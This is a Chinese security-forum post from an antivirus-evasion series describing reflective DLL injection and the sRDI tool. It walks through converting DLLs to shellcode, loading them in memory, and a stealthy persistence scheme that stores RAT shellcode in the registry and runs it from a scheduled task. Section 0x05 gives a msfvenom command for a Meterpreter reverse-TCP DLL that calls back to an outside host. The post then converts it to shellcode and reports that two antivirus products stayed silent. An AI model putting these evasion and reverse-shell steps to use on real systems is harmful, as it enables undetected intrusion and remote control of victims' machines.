安全矩阵

 找回密码
 立即注册
搜索
查看: 2640|回复: 0

【免杀72】sRDI反射型DLL注入免杀

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-23 18:10:08 | 显示全部楼层 |阅读模式
原文链接:【免杀72】sRDI反射型DLL注入免杀

0x00 引用说明本文内容参考节选自以下资料:
sRDI项目地址:https://github.com/monoxgas/sRDI
反射型DLL注入工具-sRDI:https://zhuanlan.zhihu.com/p/96484140
0x01 几个概念1、DLL 注入在认识反射型DLL注入之前,我们先来了解下什么是DLL注入。
DLL是windows平台提供的一种模块共享和重用机制,它本身不能直接独立运行,但可以被加载到其他进程中间接执行。DLL注入,是将代码插入/注入到正在运行的进程中的过程。本来是软件用于向其他程序添加/扩展功能、调试或逆向工程的一种合法技术。例如,没有它,debug 调试器就不能运行。不过,后来恶意软件也常用这种方式来干坏事,恶意软件通常采用 DLL 注入在另一进程的存储空间内伪装其操作,是一种广泛应用于恶意软件和无文件攻击中的逃避技术。
  •         常规的dll注入姿势

  •         VirtualAllocEx 在目标进程内存空间申请内存,WriteProcessMemory 写入dll路径,CreateRemoteThread 创建远程线程调用 LoadLibrary 加载dll;
  •         CreateRemoteThread 可被 替换为其他创建线程的API(例如:RtlCreateUserThread,或者挂起线程修改线程上下文再还原等等),减少被拦截的风险
  •         替换程序运行时会加载的dll;
  •         修改注册表键值AppInit_dll,程序启动时如果加载了USER32.dll,就会自动加载该键值下的有效dll;
  •         SetWindowsHookEx挂钩,IAT_HOOK,InLine_HOOK等(本质也是让目标进程执行自己的代码)(x86与x64下InLine_HOOK略有不同);
  •         dll加载顺序挟持(Dll Search Order Hijacking);


2、反射型 DLL 注入反射DLL注入用于将DLL加载到进程中,不需要使用LoadLibrary这一函数,而是自己来实现整个装载过程,不必将其放置在主机的文件系统上。我们可以为待注入的DLL添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是装载它自身。那么我们只需要将这个DLL文件写入目标进程的虚拟空间中,然后通过DLL的导出表找到这个ReflectiveLoader并调用它,我们的任务就完成了。
  •         反射DLL 注入的思路

  •         打开目标进程并分配内存。
  •         将 DLL 复制到分配的内存中。
  •         将入口点函数名称的哈希值和该函数的所有参数复制到 DLL 之后的内存空间中。
  •         复制一些引导程序的 shellcode,该 shellcode 调用带有指向在第3步中复制的数据的指针的修改的反射式加载器。
  •         使用 shellcode 开头的地址作为入口点,在目标进程中创建一个远程线程。

  •         反射DLL 注入的实现

  •         使用 RWX 权限打开目标进程,并为 DLL 分配足够大的内存。
  •         将 DLL 复制到分配的内存空间中。
  •         计算 DLL 中用于执行反射加载的导出的内存偏移量。
  •         使用反射性加载器函数的偏移地址作为入口,调用 CreateRemoteThread(或等效的未公开的 API 函数,如 RtlCreateUserThread)开始在远程进程中执行。
  •         反射式加载器功能使用适当的 CPU 寄存器查找目标进程的进程环境块(PEB),并使用该寄存器在内存 kernel32.dll 和任何其他所需库中查找地址。
  •         解析的 KERNEL32 出口目录中找到所需的 API 功能,如内存地址 LoadLibraryA,GetProcAddress和VirtualAlloc。
  •         然后使用这些函数将 DLL(自身)正确加载到内存中,并调用其入口点 DllMain。


3、反射式注入与常规注入的不同
  •         内存中直接展开,无需.dll文件存在;
  •         反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此ProcessExplorer等软件也无法检测出进程加载了该DLL。利用解密磁盘上加密的文件、网络传输等方式避免文件落地,DLL文件可以不一定是本地文件,可来自网络等,总之将数据写到缓冲区即可。
  •         由于它没有通过系统API对DLL进行装载,操作系统无从得知被注入进程装载了该DLL,所以检测软件也无法检测它。同时,由于操作流程和一般的注入方式不同,反射式DLL注入被安全软件拦截的概率也会比一般的注入方式低。

0x02 sRDI基本知识1、关于sRDIsRDI它可以基于 Shellcode 实现反射型 DLL 注入,并且能够将 DLL 转换为独立的 Shellcode。
项目地址:https://github.com/monoxgas/sRDI
相对于标准 RDI,使用 sRDI 的一些优点:
  •         你可以转换任何 DLL为无位置依赖的 shellcode,并且可以使用标准的 shellcode 注入技术来使用它。
  •         你的 DLL 中不需要写任何反射加载器代码,因为反射加载器是在 DLL 外部的 shellcode 中实现的。
  •         合理使用权限,没有大量的 RWX 权限数据。
  •         还可以根据选项,抹掉 PE 头特征。

2、sRDI组成sRDI 的所有功能基于以下两个组件:
一个C语言项目,可将 PE Loader 编译为 Shellcode 转换代码负责将 DLL、RDI 和用户数据进行绑定 由以下元素组成:
  •         ShellcodeRDI:编译 DLL 加载器的 Shellcode
  •         NativeLoader:需要时,将 DLL 转换为 shellcode,然后注入内存
  •         DotNetLoader:NativeLoader 的 C# 实现
  •         Python \ ConvertToShellcode.py:将 DLL 转换为 shellcode
  •         Python \ EncodeBlobs.py:对已编译的 sRDI 进行编码,进行静态嵌入
  •         PowerShell \ ConvertTo-Shellcode.ps1:将 DLL 转换为 shellcode
  •         FunctionTest:导入 sRDI 的 C 函数,进行调试测试
  •         TestDLL:示例DLL,包括两个导出函数,用于后续的加载和调用

DLL 不需要使用 RDI 进行编译,但是该技术具有交叉兼容性。
3、sRDI技术优势
  •         隐秘的持久性

  •         使用服务器端 Python 代码(sRDI)将 RAT 转换为 shellcode
  •         将 shellcode 写入注册表
  •         设置计划的任务以执行基本的加载程序 DLL
  •         加载程序读取 shellcode 并注入(少于20行C代码)

优点:RAT 或加载器都不需要了解 RDI 或使用 RDI 进行编译。装载机可以保持小巧而简单,避免警告。
  •         侧面加载

  •         让你的 RAT 在内存中运行
  •         编写 DLL 以执行额外的功能
  •         将 DLL 转换为 shellcode(使用 sRDI)并本地注入
  •         使用 GetProcAddressR 查找导出的函数
  •         执行 X 次附加功能,而无需重新加载 DLL

优点:使您的初始工具更轻巧,并根据需要添加功能。加载一次 DLL 并像使用其他任何 DLL 一样使用它。
  •         依赖关系

  •         从磁盘读取现有的合法 API DLL
  •         将 DLL 转换为 shellcode(使用 sRDI)并将其加载到内存中
  •         使用 GetProcAddress 查找所需的功能

优点:避免使用监视工具来检测 LoadLibrary 调用。访问 API 函数而不会泄漏信息。(WinInet,PSApi,TlHelp32,GdiPlus)
​​
0x03 sRDI的使用使用 python 将 DLL 转换为 shellcode
  1. from ShellcodeRDI import *

  2. dll = open("TestDLL_x86.dll", 'rb').read()
  3. shellcode = ConvertToShellcode(dll)
复制代码


使用 C# 加载程序将 DLL 加载到内存中
  1. DotNetLoader.exe TestDLL_x64.dll
复制代码


使用 python 脚本转换 DLL 并使用本机 EXE 加载
  1. python ConvertToShellcode.py TestDLL_x64.dll
  2. NativeLoader.exe TestDLL_x64.bin
复制代码


使用 powershell 转换 DLL 并使用 Invoke-Shellcode 加载
  1. Import-Module .\Invoke-Shellcode.ps1
  2. Import-Module .\ConvertTo-Shellcode.ps1
  3. Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll)
复制代码


0x04 编译搭建sRDI 是使用Visual Studio 2015(v140)和 Windows SDK 8.1 构建的。python 脚本是使用 Python 3 编写的。
Python和Powershell脚本位于:
  1. Python\ConvertToShellcode.py
  2. PowerShell\ConvertTo-Shellcode.ps1
复制代码


构建项目后,其他二进制文件将位于:
  1. bin\NativeLoader.exe
  2. bin\DotNetLoader.exe
  3. bin\TestDLL_<arch>.dll
  4. bin\ShellcodeRDI_<arch>.bin
复制代码


在使用VS2017编译时,会报错MSB8020 无法找到 v140 的生成工具(平台工具集 =“v140”)。若要使用 v140 生成工具进行生成,请安装 v140 生成工具,这是因为sRDI 是使用Visual Studio 2015(v140),而VS2017是v141,这时候需要在项目属性里设置平台工具集为v141。

然后”重新生成解决方案“

若不能解决问题,可以关闭VS,然后把工程目录下的.vs隐藏文件夹删了,再打开VS试试。

0x05  msf免杀(VT查杀率16/61)使用Msf生成dll

  1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="212" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22msfvenom%C2%A0-p%C2%A0windows%2Fmeterpreter%2Freverse_tcp%C2%A0lhost%3D10.211.55.2%C2%A0lport%3D3333%C2%A0-f%C2%A0dll%C2%A0-o%C2%A0shell32.dll%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f dll -o shell32.dll
  2. </code></pre>
  3. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.5/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>

  4. <p></p>
复制代码

使用ConvertToShellcode.py来将dll转为bin
  1. python3 ConvertToShellcode.py shell32.dll
复制代码



在目标机器使用NativeLoader.exe shell32.bin即可加载。

火绒和360全程无报警。

而使用processhacker等工具很难发现痕迹。

NativeLoader.exe文件查杀率16/61。

shell32.bin文件查杀率13/53。

0x06 参考资料反射型DLL注入工具-sRDI:https://zhuanlan.zhihu.com/p/96484140
反射式dll注入:https://blog.csdn.net/weixin_43956962/article/details/105843803
反射型dll注入:https://yaoyue123.github.io/2021 ... flective-dllinject/
DLL注入新姿势-反射式DLL注入研究:https://www.cnblogs.com/h2zZhou/p/7721797.html


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 11:11 , Processed in 0.016645 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表